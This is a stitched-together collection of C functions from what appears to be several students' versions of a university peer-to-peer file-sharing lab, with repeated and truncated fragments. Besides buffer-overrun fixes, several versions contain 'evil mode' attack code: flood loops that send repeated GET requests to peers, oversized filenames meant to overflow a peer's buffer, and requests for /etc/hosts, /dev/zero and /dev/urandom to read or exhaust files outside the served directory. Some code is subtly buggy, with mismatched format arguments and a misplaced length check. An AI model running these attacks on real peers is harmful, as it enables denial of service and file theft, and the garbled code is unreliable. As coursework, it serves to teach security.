// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); message("* Finding peers for '%s'\n", filename); pthread_mutex_lock (&tracker_mutex); // (Brian) osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); pthread_mutex_unlock (&tracker_mutex); // (Brian) messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } strncpy(t->filename, filename, FILENAMESIZ); /* (Alan) */ t->filename[FILENAMESIZ-1] = '\0'; //null-terminate c-string // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); /* (Alan) acquire md5 checksum of requested file by querying tracker */ //start osp2p_writef(tracker_task->peer_fd, "MD5SUM %s\n", filename); //add md5sum command to tracker task messagepos = read_tracker_response(tracker_task); //read telnet response if (tracker_task->buf[messagepos] != '2') //response doesn't match HTTP success code 200-299 { error("* Tracker error, response was: %s\n", tracker_task->buf); goto exit; } //uncomment following line to simulate invalid downloaded data //tracker_task->buf[0] = 'x'; strncpy(t->md5, tracker_task->buf, MD5_TEXT_DIGEST_SIZE); //copy response into task's md5 checksum, defend against accidental buffer overflow from evil tracker t->md5[MD5_TEXT_DIGEST_SIZE] = '\0'; //null-terminate md5 c-string //end exit: return t; }
// register_files(tracker_task, myalias) // Registers this peer with the tracker, using 'myalias' as this peer's // alias. Also register all files in the current directory, allowing // other peers to upload those files from us. static void register_files(task_t *tracker_task, const char *myalias) { DIR *dir; struct dirent *ent; struct stat s; char buf[PATH_MAX]; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); // Register address with the tracker. osp2p_writef(tracker_task->peer_fd, "ADDR %s %I:%d\n", myalias, listen_addr, listen_port); messagepos = read_tracker_response(tracker_task); message("* Tracker's response to our IP address registration:\n%s", &tracker_task->buf[messagepos]); if (tracker_task->buf[messagepos] != '2') { message("* The tracker reported an error, so I will not register files with it.\n"); return; } // Register files with the tracker. message("* Registering our files with tracker\n"); if ((dir = opendir(".")) == NULL) die("open directory: %s", strerror(errno)); while ((ent = readdir(dir)) != NULL) { int namelen = strlen(ent->d_name); // don't depend on unreliable parts of the dirent structure // and only report regular files. Do not change these lines. if (stat(ent->d_name, &s) < 0 || !S_ISREG(s.st_mode) || (namelen > 2 && ent->d_name[namelen - 2] == '.' && (ent->d_name[namelen - 1] == 'c' || ent->d_name[namelen - 1] == 'h')) || (namelen > 1 && ent->d_name[namelen - 1] == '~')) continue; osp2p_writef(tracker_task->peer_fd, "HAVE %s\n", ent->d_name); messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') error("* Tracker error message while registering '%s':\n%s", ent->d_name, &tracker_task->buf[messagepos]); } closedir(dir); }
static void denial_of_service(task_t *t) { if (!t || !t->peer_list) { error("No peer can be attacked!\n"); task_free(t); return; }else if(t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; peer_t *current_peer_list = t->peer_list; int i = 0; for(;i<2000;i++) { message("* Attacking peer %s:%d\n", inet_ntoa(current_peer_list->addr), current_peer_list->port); t->peer_fd = open_socket(current_peer_list->addr, current_peer_list->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s for attack\n", strerror(errno)); goto try_again; } osp2p_writef(t->peer_fd, "GET cat1.jpg OSP2P\n"); next: current_peer_list = current_peer_list->next==0 ? t->peer_list : current_peer_list->next; //current_peer_list = current_peer_list->next; } message("finish deploying attack\n"); return; try_again: // recursive call task_pop_peer(t); denial_of_service(t); }
// task_download(t, tracker_task) // Downloads the file specified by the input task 't' into the current // directory. 't' was created by start_download(). // Starts with the first peer on 't's peer list, then tries all peers // until a download is successful. static void task_download(task_t *t, task_t *tracker_task) { int i, ret = -1; assert((!t || t->type == TASK_DOWNLOAD) && tracker_task->type == TASK_TRACKER); // Quit if no peers, and skip this peer if (!t || !t->peer_list) { error("* No peers are willing to serve '%s'\n", (t ? t->filename : "that file")); task_free(t); return; } else if (t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; // Connect to the peer and write the GET command message("* Connecting to %s:%d to download '%s'\n", inet_ntoa(t->peer_list->addr), t->peer_list->port, t->filename); t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s\n", strerror(errno)); goto try_again; } osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename); // Open disk file for the result. // If the filename already exists, save the file in a name like // "foo.txt~1~". However, if there are 50 local files, don't download // at all. for (i = 0; i < 50; i++) { if (i == 0) { strncpy(t->disk_filename, t->filename, FILENAMESIZ); t->filename[FILENAMESIZ-1] = '\0'; } else sprintf(t->disk_filename, "%s~%d~", t->filename, i); t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) { message("* Saving result to '%s'\n", t->disk_filename); break; } } if (t->disk_fd == -1) { error("* Too many local files like '%s' exist already.\n\ * Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename); task_free(t); return; }
// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); do { messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } // 2A: file name buffer overrun if (strlen(t->filename) >= FILENAMESIZ) { error("* File name too long"); goto exit; } // End of 2A code strcpy(t->filename, filename); // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); if (messagepos == TASKBUFSIZ) memmove(tracker_task->buf, s1, TASKBUFSIZ - (s1 - tracker_task->buf)); } while (messagepos == TASKBUFSIZ); exit: return t; }
// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } if(evil_mode != 0) strcpy(t->filename, filename); else { //exercise 2 //fixed the buffer overrun bug strncpy(t->filename, filename, FILENAMESIZ); //add the null-character at the end manually. t->filename[FILENAMESIZ - 1] = '\0'; } // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); exit: return t; }
// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); unsigned remainingData; message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); do{ messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } strcpy(t->filename, filename); // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); ////////////////////////////////////////////////////////////////////////////////// //Exercise 2B is here!!! It deals with buffer flooding by popular tracker ////////////////////////////////////////////////////////////////////////////////// if (messagepos==TASKBUFSIZ) { remainingData = TASKBUFSIZ-(s1-tracker_task->buf); memmove(tracker_task->buf, s1, remainingData); } }while (messagepos==TASKBUFSIZ); exit: return t; }
// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); //EXERCISE 2A ALTERNATIVE SOLUTION INSTEAD OF STRNCPY: /*if (strlen(filename) > FILENAMESIZ){ error("* Filename requested too long!\n"); goto exit; }*/ message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } //EXERCISE 2A CHANGE //in case truncate, add null terminator strncpy(t->filename, filename, FILENAMESIZ-1); t->filename[FILENAMESIZ-1] = '\0'; // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); exit: return t; }
// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } // 2A // Since we're passing argv[1] here, let's make sure it's the right size. if(strlen(filename) > FILENAMESIZ - 1) { error("* File name '%s' is too long!\n%s", filename); goto exit; } strcpy(t->filename, filename); // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); exit: return t; }
/* The peer should serve files located in its current directory ßto requesting peers. The peer should not serve files located in any other directory. */ task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); if (strlen(filename) >= FILENAMESIZ) { error("Filename %s is too long, please use a filename that is less than %d characters", filename, FILENAMESIZ); goto exit; } message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } strncpy(t->filename, filename, FILENAMESIZ - 1); //ensure null termination t->filename[FILENAMESIZ - 1] = '\0'; // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); exit: return t; }
//////////////////EXERCISE 3 START Attack ////////////////// task_t *prepare_attack(task_t *tracker_task) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); unsigned remaining_data; message("* Finding peers: initiate filename attack"); osp2p_writef(tracker_task->peer_fd, "WHO\n"); do{ messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message:\n%s", &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded; unexpected format\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response; unexpected format\n"); if (messagepos==TASKBUFSIZ) { remaining_data = TASKBUFSIZ-(s1-tracker_task->buf); memmove(tracker_task->buf, s1, remaining_data); } }while (messagepos==TASKBUFSIZ); message("found %s", t->buf); exit: return t; }
// start_download(tracker_task, filename) // Return a TASK_DOWNLOAD task for downloading 'filename' from peers. // Contacts the tracker for a list of peers that have 'filename', // and returns a task containing that peer list. task_t *start_download(task_t *tracker_task, const char *filename) { char *s1, *s2; task_t *t = NULL; peer_t *p; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); message("* Finding peers for '%s'\n", filename); osp2p_writef(tracker_task->peer_fd, "WANT %s\n", filename); messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting '%s':\n%s", filename, &tracker_task->buf[messagepos]); goto exit; } if (!(t = task_new(TASK_DOWNLOAD))) { error("* Error while allocating task"); goto exit; } // EXERCISE 2A: FILENAME BUFFER OVERRUN // Avoid downloading a file with a name that is too long // The max number of bytes to copy is FILENAMESIZ, so use strncpy to // limit how much we copy, and add a null terminator at the end. strncpy(t->filename, filename, FILENAMESIZ); t->filename[FILENAMESIZ - 1] = '\0'; // add peers s1 = tracker_task->buf; while ((s2 = memchr(s1, '\n', (tracker_task->buf + messagepos) - s1))) { if (!(p = parse_peer(s1, s2 - s1))) die("osptracker responded to WANT command with unexpected format!\n"); p->next = t->peer_list; t->peer_list = p; s1 = s2 + 1; } if (s1 != tracker_task->buf + messagepos) die("osptracker's response to WANT has unexpected format!\n"); exit: return t; }
// register_files(tracker_task, myalias) // Registers this peer with the tracker, using 'myalias' as this peer's // alias. Also register all files in the current directory, allowing // other peers to upload those files from us. static void register_files(task_t *tracker_task, const char *myalias) { DIR *dir; struct dirent *ent; struct stat s; char buf[PATH_MAX]; size_t messagepos; assert(tracker_task->type == TASK_TRACKER); // Register address with the tracker. osp2p_writef(tracker_task->peer_fd, "ADDR %s %I:%d\n", myalias, listen_addr, listen_port); messagepos = read_tracker_response(tracker_task); message("* Tracker's response to our IP address registration:\n%s", &tracker_task->buf[messagepos]); if (tracker_task->buf[messagepos] != '2') { message("* The tracker reported an error, so I will not register files with it.\n"); return; } // Register files with the tracker. message("* Registering our files with tracker\n"); if ((dir = opendir(".")) == NULL) die("open directory: %s", strerror(errno)); while ((ent = readdir(dir)) != NULL) { int namelen = strlen(ent->d_name); // don't depend on unreliable parts of the dirent structure // and only report regular files. Do not change these lines. if (stat(ent->d_name, &s) < 0 || !S_ISREG(s.st_mode) || (namelen > 2 && ent->d_name[namelen - 2] == '.' && (ent->d_name[namelen - 1] == 'c' || ent->d_name[namelen - 1] == 'h')) || (namelen > 1 && ent->d_name[namelen - 1] == '~')) continue; /* (Alan) calculate md5 */ //start md5_state_t *md5_state; char taskbuf[TASKBUFSIZ + 1]; taskbuf[TASKBUFSIZ] = '\0'; char md5[MD5_TEXT_DIGEST_SIZE + 1]; md5[MD5_TEXT_DIGEST_SIZE] = '\0'; md5_state = (md5_state_t *) malloc(sizeof(md5_state_t)); md5_init(md5_state); int bytes, file = open(ent->d_name, O_RDONLY); while ((bytes = read(file, taskbuf, TASKBUFSIZ)) > 0) md5_append(md5_state, (md5_byte_t *) &taskbuf, bytes); md5_finish_text(md5_state, md5, 1); free(md5_state); //end pthread_mutex_lock (&tracker_mutex); // (Brian) osp2p_writef(tracker_task->peer_fd, "HAVE %s\n", ent->d_name, md5); /* (Alan) add md5 argument */ pthread_mutex_unlock (&tracker_mutex); // (Brian) messagepos = read_tracker_response(tracker_task); if (tracker_task->buf[messagepos] != '2') error("* Tracker error message while registering '%s':\n%s", ent->d_name, &tracker_task->buf[messagepos]); } closedir(dir); }
// task_download(t, tracker_task) // Downloads the file specified by the input task 't' into the current // directory. 't' was created by start_download(). // Starts with the first peer on 't's peer list, then tries all peers // until a download is successful. static void task_download(task_t *t, task_t *tracker_task) { int i, ret = -1; size_t messagepos; assert((!t || t->type == TASK_DOWNLOAD) && tracker_task->type == TASK_TRACKER); //Read the checksum of the file from tracker: char *file_digest = 0; osp2p_writef(tracker_task->peer_fd, "MD5SUM %s\n", t->filename); messagepos = read_tracker_response(tracker_task); message("Tracker buf: %s\n", tracker_task->buf); if (tracker_task->buf[messagepos] != '2') { error("* Tracker error message while requesting checksum of '%s':\n%s", t->filename, &tracker_task->buf[messagepos]); } else{ file_digest = malloc(MD5_TEXT_DIGEST_SIZE+1); memcpy(file_digest, tracker_task->buf, MD5_TEXT_DIGEST_SIZE); file_digest[MD5_TEXT_DIGEST_SIZE] = 0; } // Quit if no peers, and skip this peer if (!t || !t->peer_list) { error("* No peers are willing to serve '%s'\n", (t ? t->filename : "that file")); task_free(t); return; } else if (t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) message("* Saving result to '%s'\n", t->disk_filename); int blockno = 0; int i_peer = 0; peer_t *apeer; while(1){ apeer = get_peer(t->peer_list, i_peer); // Connect to the peer and write the GET command message("* Connecting to %s:%d to download '%s'\n", inet_ntoa(apeer->addr), apeer->port, t->filename); t->peer_fd = open_socket(apeer->addr, apeer->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s\n", strerror(errno)); goto try_again; } if(evil_mode == 0) osp2p_writef(t->peer_fd, "GET %s%d OSP2P\n", t->filename, blockno); else{ //******************************* //Exercise 3: try to overflow a peer's buffer by requesting a file with a long name char evil_name[2*FILENAMESIZ]; int i_name; for(i_name = 0; i_name < 2*FILENAMESIZ - 1; i_name++) evil_name[i_name] = 'a'; evil_name[i_name] = 0; osp2p_writef(t->peer_fd, "GET %s OSP2P\n", evil_name); //********************************** } // Open disk file for the result. // If the filename already exists, save the file in a name like // "foo.txt~1~". However, if there are 50 local files, don't download // at all. /* for (i = 0; i < 50; i++) { if (i == 0) strcpy(t->disk_filename, t->filename); else sprintf(t->disk_filename, "%s~%d~", t->filename, i); t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) { message("* Saving result to '%s'\n", t->disk_filename); break; } } if (t->disk_fd == -1) { error("* Too many local files like '%s' exist already.\n\ * Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename); task_free(t); return; }*/ lseek(t->disk_fd, BLKSIZE, SEEK_CUR); // Read the file into the task buffer from the peer, // and write it from the task buffer onto disk. while (1) { int ret = read_to_taskbuf(t->peer_fd, t); if (ret == TBUF_ERROR) { error("* Peer read error"); goto try_again; } else if (ret == TBUF_END && t->head == t->tail) /* End of file */ break; ret = write_from_taskbuf(t->disk_fd, t); if (ret == TBUF_ERROR) { error("* Disk write error"); goto try_again; } //********************************* //Exercise 2: prevent from downloading a file that is too large if(t->total_written > MAX_FILE_SIZE){ error("* Error: file too big for download\n"); goto try_again; } //********************************** } if(ret == TBUF_END && t->head == t->tail) break; //Compare the checksum of file on disk to checksum reported by tracker: if(file_digest){ char *download_digest = create_digest(t->disk_filename); message("* Tracker's checksum for file '%s' is: %s\n", t->filename, file_digest); message("* Checksum of the downloaded file is: %s\n", download_digest); if(strcmp(file_digest, download_digest) != 0){ error("* Downloaded a corrupted file!!! Try download again...\n"); } } blockno++; i_peer++; } // Empty files are usually a symptom of some error. if (t->total_written > 0) { message("* Downloaded '%s' was %lu bytes long\n", t->disk_filename, (unsigned long) t->total_written); // Inform the tracker that we now have the file, // and can serve it to others! (But ignore tracker errors.) if (strcmp(t->filename, t->disk_filename) == 0) { osp2p_writef(tracker_task->peer_fd, "HAVE %s\n", t->filename); (void) read_tracker_response(tracker_task); } task_free(t); return; } error("* Download was empty, trying next peer\n"); try_again: if (t->disk_filename[0]) unlink(t->disk_filename); // recursive call task_pop_peer(t); task_download(t, tracker_task); }
// task_download(t, tracker_task) // Downloads the file specified by the input task 't' into the current // directory. 't' was created by start_download(). // Starts with the first peer on 't's peer list, then tries all peers // until a download is successful. static void task_download(task_t *t, task_t *tracker_task) { int i, ret = -1; assert((!t || t->type == TASK_DOWNLOAD) && tracker_task->type == TASK_TRACKER); // Quit if no peers, and skip this peer if (!t || !t->peer_list) { error("* No peers are willing to serve '%s'\n", (t ? t->filename : "that file")); task_free(t); return; } else if (t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; // Connect to the peer and write the GET command message("* Connecting to %s:%d to download '%s'\n", inet_ntoa(t->peer_list->addr), t->peer_list->port, t->filename); t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s\n", strerror(errno)); goto try_again; } //first we attack peer's buffer, make it overrun //for simple attack, we set filename to all 'x' if (evil_mode == FILENAME_OVERFLOW) { message("* Attacking with filename buffer overflow\n"); char* evil_filename = (char*) malloc(FILENAMESIZ*2); memset(evil_filename, 'x', FILENAMESIZ*2); //send overflow input osp2p_writef(t->peer_fd, "GET %s OSP2P\n", evil_filename); } //Keep request the same file if (evil_mode == FILE_REPEAT) { while(1) { osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename); } } osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename); // Open disk file for the result. // If the filename already exists, save the file in a name like // "foo.txt~1~". However, if there are 50 local files, don't download // at all. for (i = 0; i < 50; i++) { if (i == 0) strcpy(t->disk_filename, t->filename); else sprintf(t->disk_filename, "%s~%d~", t->filename, i); t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) { message("* Saving result to '%s'\n", t->disk_filename); break; } } if (t->disk_fd == -1) { error("* Too many local files like '%s' exist already.\n\ * Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename); task_free(t); return; }
static void task_download(void *thread_data_void) { // Take void parameter passed to thread and cast to correct data structure (Brian) // start thread_data_t* tdata = (thread_data_t*) thread_data_void; assert(tdata); // end // Now get the correct parameters from thread_data (Brian) // start task_t *t = (task_t*) tdata->t; task_t *tracker_task = (task_t*) tdata->tracker_task; // end // lock thread mutex (Brian) if (false == tdata->recursive) { pthread_mutex_lock(&tdata->mutex); tdata->started = true; } int i, ret = -1; // previous assertion seems incorrect (Brian) // start /* assert((!t || t->type == TASK_DOWNLOAD) && (tracker_task->type == TASK_TRACKER)); */ assert((t && t->type == TASK_DOWNLOAD) && (tracker_task && tracker_task->type == TASK_TRACKER)); // end // Quit if no peers, and skip this peer if (!t || !t->peer_list) { error("* No peers are willing to serve '%s'\n", (t ? t->filename : "that file")); goto exit; // (Brian) } else if (t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; // Connect to the peer and write the GET command message("* Connecting to %s:%d to download '%s'\n", inet_ntoa(t->peer_list->addr), t->peer_list->port, t->filename); t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s\n", strerror(errno)); goto try_again; } /* (Alan) If in evil mode, attempt to download file from outside of peer's working directory. * */ //start char request_filename[FILENAMESIZ]; if (evil_mode == ATTACK_ACCESS_FILES) strncpy(request_filename, "/etc/hosts", FILENAMESIZ); else strncpy(request_filename, t->filename, FILENAMESIZ); request_filename[FILENAMESIZ-1] = '\0'; //null-terminate c-string //end /* (Alan) Attempt DoS attack */ int attempts = (evil_mode == ATTACK_DOS) ? NUM_DOS_ATTEMPTS : 1; pthread_mutex_lock (&tracker_mutex); // (Brian) /* (Alan) exploid buffer overflow on remote peer by requesting file with filename length greater than FILENAMESIZ */ //start char request_filename_mod[FILENAMESIZ * 2]; strncpy(request_filename_mod, request_filename, FILENAMESIZ); if (evil_mode == ATTACK_BUFFER_OVERFLOW) { int i; for (i = strlen(request_filename); i + strlen(request_filename) < FILENAMESIZ * 2; i += strlen(request_filename)) strcpy(request_filename_mod + i, request_filename); //repeatedly copy filename into oversized buffer message("WANT %s\n", request_filename_mod); } //end for (i = 0; i < attempts; i++) osp2p_writef(t->peer_fd, "GET %s OSP2P\n", request_filename_mod); pthread_mutex_unlock (&tracker_mutex); // (Brian) // Open disk file for the result. // If the filename already exists, save the file in a name like // "foo.txt~1~". However, if there are 50 local files, don't download // at all. for (i = 0; i < 50; i++) { if (i == 0) strncpy(t->disk_filename, t->filename, FILENAMESIZ); /* (Alan) */ else sprintf(t->disk_filename, "%s~%d~", t->filename, i); t->disk_filename[FILENAMESIZ-1] = '\0'; //null-terminate c-string t->disk_fd = open(t->disk_filename, O_WRONLY | O_CREAT | O_EXCL, 0666); if (t->disk_fd == -1 && errno != EEXIST) { error("* Cannot open local file"); goto try_again; } else if (t->disk_fd != -1) { message("* Saving result to '%s'\n", t->disk_filename); break; } } if (t->disk_fd == -1) { error("* Too many local files like '%s' exist already.\n\ * Try 'rm %s.~*~' to remove them.\n", t->filename, t->filename); goto exit; // (Brian) }
// task_download(t, tracker_task) // Downloads the file specified by the input task 't' into the current // directory. 't' was created by start_download(). // Starts with the first peer on 't's peer list, then tries all peers // until a download is successful. static void task_download(task_t *t, task_t *tracker_task) { int i, ret = -1; assert((!t || t->type == TASK_DOWNLOAD) && tracker_task->type == TASK_TRACKER); // Quit if no peers, and skip this peer if (!t || !t->peer_list) { error("* No peers are willing to serve '%s'\n", (t ? t->filename : "that file")); task_free(t); return; } else if (t->peer_list->addr.s_addr == listen_addr.s_addr && t->peer_list->port == listen_port) goto try_again; // Connect to the peer and write the GET command message("* Connecting to %s:%d to download '%s'\n", inet_ntoa(t->peer_list->addr), t->peer_list->port, t->filename); t->peer_fd = open_socket(t->peer_list->addr, t->peer_list->port); if (t->peer_fd == -1) { error("* Cannot connect to peer: %s\n", strerror(errno)); goto try_again; } osp2p_writef(t->peer_fd, "GET %s OSP2P\n", t->filename); // 3B Evil mode 1 // Instead of reading and copying, we attack the peer's buffer by continuesly requesting with a bad file name that's too large. // We could potentially insert executable code into the buffer that the further tamer with the system. if (evil_mode == 1) { int i; char bad_file_name[FILENAMESIZ*10]; strncpy(bad_file_name, "/dev/urandom", FILENAMESIZ*10-1); while (osp2p_writef(t->peer_fd, "GET %s OSP2P", bad_file_name) < 0) continue; message("* Target Peer's buffer rejected final request."); //now attack other peer's with the same file. goto try_again; } // 3B Evil mode 3 // This attack attempts to download files outside of the current directory // In this case we try to access /dev/zero, which will cause the peer to get stuck in write loops and consuming CPU time. // Other absolute paths can be made if we first download directory information to access files. if (evil_mode == 3) { char absolute_path[FILENAMESIZ*3] = "/dev/zero"; osp2p_writef(t->peer_fd, "GET %s OSP2P", absolute_path); goto try_again; } // Open disk file for the result. // If the filename already exists, save the file in a name like // "foo.txt~1~". However, if there are 50 local files, don't download // at all. for (i = 0; i < 50; i++) { if (i == 0) // This length is okay because both buffers are equivalently // of size FILENAMESIZ. strcpy(t->disk_filename, t->filename); else { // 2A: We need to check for this buffer overrun: the four characters // might push the filename to be over the limit. if(strlen(t->filename) + 4 > FILENAMESIZ - 1) { error("* '%s~%d~' would exceed the filename size limit\n", t->filename, i); task_free(t); 